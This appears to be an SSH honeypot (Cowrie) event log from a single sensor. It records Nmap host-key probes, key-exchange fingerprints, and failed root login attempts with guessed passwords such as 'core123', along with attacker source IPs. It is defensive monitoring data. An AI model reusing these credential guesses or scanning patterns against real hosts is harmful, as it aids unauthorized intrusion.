{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:b9:e9:7b:e4:fa:b4:a9:b2:a3:49:0b:e5:cb:88:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUd9iopB8CIlRMYz3MwAcRGeorSotluxJ2X78I0ie5udv8zRJxOOG6CpwnaXI/PAhdCIpAj9hCGaBnW0Pj/jI35uOfX9JV+Wdov/IR5luPPwXnNxPbTxKlg3nAjUD/+O9A55PcxrYtlG2czW8aYKFCKTomFji1CF04SQEjIyUTrqQes/kU94auUmXMvIrpH65qE7Ira6vMWDjcBmXH4saDhXjcPiyPmTI9TudEMKVmftFeQTXpPDsinBMjmgQPESaQfDs2IJPYDV0S1wjUhs45T9cWIkCYaELDAKdp2VvIlyjlHrAhIvkkrNbTC4TosFr2s4LvJiEyBJMfvMGQHu6uUBNJppHbOlwMr7zy/51eSBamhq9JmmfIzG/n+1CrVZ0sptPufNB9r0Zkf0G2IG7Hp/us427nHezTjjhpjGRMnbhBDGLDEp4u1tIFIECtpQoGDNqHKuae5JS8OZ+NfjiJc00ZE4R+Yt9Ge15gQxUzMCpuha+iPQ0hoj5P792v5K/OHtK1rHCDtHwwj1GZzoS+3HYxZaHZzlCWPagumkqzOGU22M7WAdWWf1tMcsd6KtKrDvW6klrBEA7RwxHG3ZyvsEsfGBw/f4vGDQZ61WHzwKxX+MNhpcFycQ7jiTHq5l1UCzaS17Bk6JGJzKPbM5dmJ+uriewmTluhOkYr221ttQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:b9:e9:7b:e4:fa:b4:a9:b2:a3:49:0b:e5:cb:88:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.754451Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:b9:e9:7b:e4:fa:b4:a9:b2:a3:49:0b:e5:cb:88:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUd9iopB8CIlRMYz3MwAcRGeorSotluxJ2X78I0ie5udv8zRJxOOG6CpwnaXI/PAhdCIpAj9hCGaBnW0Pj/jI35uOfX9JV+Wdov/IR5luPPwXnNxPbTxKlg3nAjUD/+O9A55PcxrYtlG2czW8aYKFCKTomFji1CF04SQEjIyUTrqQes/kU94auUmXMvIrpH65qE7Ira6vMWDjcBmXH4saDhXjcPiyPmTI9TudEMKVmftFeQTXpPDsinBMjmgQPESaQfDs2IJPYDV0S1wjUhs45T9cWIkCYaELDAKdp2VvIlyjlHrAhIvkkrNbTC4TosFr2s4LvJiEyBJMfvMGQHu6uUBNJppHbOlwMr7zy/51eSBamhq9JmmfIzG/n+1CrVZ0sptPufNB9r0Zkf0G2IG7Hp/us427nHezTjjhpjGRMnbhBDGLDEp4u1tIFIECtpQoGDNqHKuae5JS8OZ+NfjiJc00ZE4R+Yt9Ge15gQxUzMCpuha+iPQ0hoj5P792v5K/OHtK1rHCDtHwwj1GZzoS+3HYxZaHZzlCWPagumkqzOGU22M7WAdWWf1tMcsd6KtKrDvW6klrBEA7RwxHG3ZyvsEsfGBw/f4vGDQZ61WHzwKxX+MNhpcFycQ7jiTHq5l1UCzaS17Bk6JGJzKPbM5dmJ+uriewmTluhOkYr221ttQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.759098Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.778549Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.855182Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.167.148","src_port":2778,"dst_ip":"10.17.0.5","dst_port":22,"session":"a52630938c39","protocol":"ssh","message":"New connection: 35.195.167.148:2778 (10.17.0.5:22) [session: a52630938c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:26.942309Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:27.026391Z","src_ip":"35.195.167.148","session":"a52630938c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:27.030281Z","src_ip":"35.195.167.148","session":"a52630938c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.167.148","src_port":2780,"dst_ip":"10.17.0.5","dst_port":22,"session":"394830fc8069","protocol":"ssh","message":"New connection: 35.195.167.148:2780 (10.17.0.5:22) [session: 394830fc8069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:27.259747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:27.342276Z","src_ip":"35.195.167.148","session":"394830fc8069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:27.416853Z","src_ip":"35.195.167.148","session":"394830fc8069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:27.422008Z","src_ip":"35.195.167.148","session":"394830fc8069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.167.148","src_port":2782,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d5e18ba581","protocol":"ssh","message":"New connection: 35.195.167.148:2782 (10.17.0.5:22) [session: b2d5e18ba581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:27.570986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:27.701791Z","src_ip":"35.195.167.148","session":"b2d5e18ba581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:27.776872Z","src_ip":"35.195.167.148","session":"b2d5e18ba581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.010641Z","src_ip":"35.195.167.148","session":"b2d5e18ba581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.167.148","src_port":2786,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2427c652ac7","protocol":"ssh","message":"New connection: 35.195.167.148:2786 (10.17.0.5:22) [session: a2427c652ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.085961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.176065Z","src_ip":"35.195.167.148","session":"a2427c652ac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.251376Z","src_ip":"35.195.167.148","session":"a2427c652ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.493025Z","src_ip":"35.195.167.148","session":"a2427c652ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.167.148","src_port":2788,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e0f801e6fcd","protocol":"ssh","message":"New connection: 35.195.167.148:2788 (10.17.0.5:22) [session: 0e0f801e6fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.568278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.703514Z","src_ip":"35.195.167.148","session":"0e0f801e6fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.778960Z","src_ip":"35.195.167.148","session":"0e0f801e6fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.787401Z","src_ip":"35.195.167.148","session":"0e0f801e6fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.167.148","src_port":2800,"dst_ip":"10.17.0.5","dst_port":22,"session":"32a6b17c7a1f","protocol":"ssh","message":"New connection: 35.195.167.148:2800 (10.17.0.5:22) [session: 32a6b17c7a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:28.931651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:29.023669Z","src_ip":"35.195.167.148","session":"32a6b17c7a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:29.098331Z","src_ip":"35.195.167.148","session":"32a6b17c7a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:29.104553Z","src_ip":"35.195.167.148","session":"32a6b17c7a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.167.148","src_port":2808,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0ffc1718f31","protocol":"ssh","message":"New connection: 35.195.167.148:2808 (10.17.0.5:22) [session: c0ffc1718f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:29.259171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:29.345159Z","src_ip":"35.195.167.148","session":"c0ffc1718f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:29.420032Z","src_ip":"35.195.167.148","session":"c0ffc1718f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:29.656626Z","src_ip":"35.195.167.148","session":"c0ffc1718f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.167.148","src_port":2816,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f329d1a9862","protocol":"ssh","message":"New connection: 35.195.167.148:2816 (10.17.0.5:22) [session: 9f329d1a9862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:30.300256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:30.334615Z","src_ip":"35.195.167.148","session":"9f329d1a9862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b4b8ae3d7241d2c1dc54b4df7e8c19d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:30.438504Z","src_ip":"35.195.167.148","session":"9f329d1a9862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:30.855976Z","src_ip":"35.195.167.148","session":"9f329d1a9862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":39108,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c22533f2350","protocol":"ssh","message":"New connection: 43.242.203.160:39108 (159.203.135.109:22) [session: 9c22533f2350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:34.853728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:34.905320Z","src_ip":"43.242.203.160","session":"9c22533f2350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:35.157583Z","src_ip":"43.242.203.160","session":"9c22533f2350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"core123","message":"login attempt [root/core123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:36.298232Z","src_ip":"43.242.203.160","session":"9c22533f2350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:37.580735Z","src_ip":"43.242.203.160","session":"9c22533f2350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":44386,"dst_ip":"10.17.0.5","dst_port":22,"session":"5604c3a3cecb","protocol":"ssh","message":"New connection: 202.51.214.99:44386 (10.17.0.5:22) [session: 5604c3a3cecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:48.505661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:48.508855Z","src_ip":"202.51.214.99","session":"5604c3a3cecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:48.760960Z","src_ip":"202.51.214.99","session":"5604c3a3cecb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"all2","message":"login attempt [root/all2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:49.803286Z","src_ip":"202.51.214.99","session":"5604c3a3cecb","protocol":"ssh"}
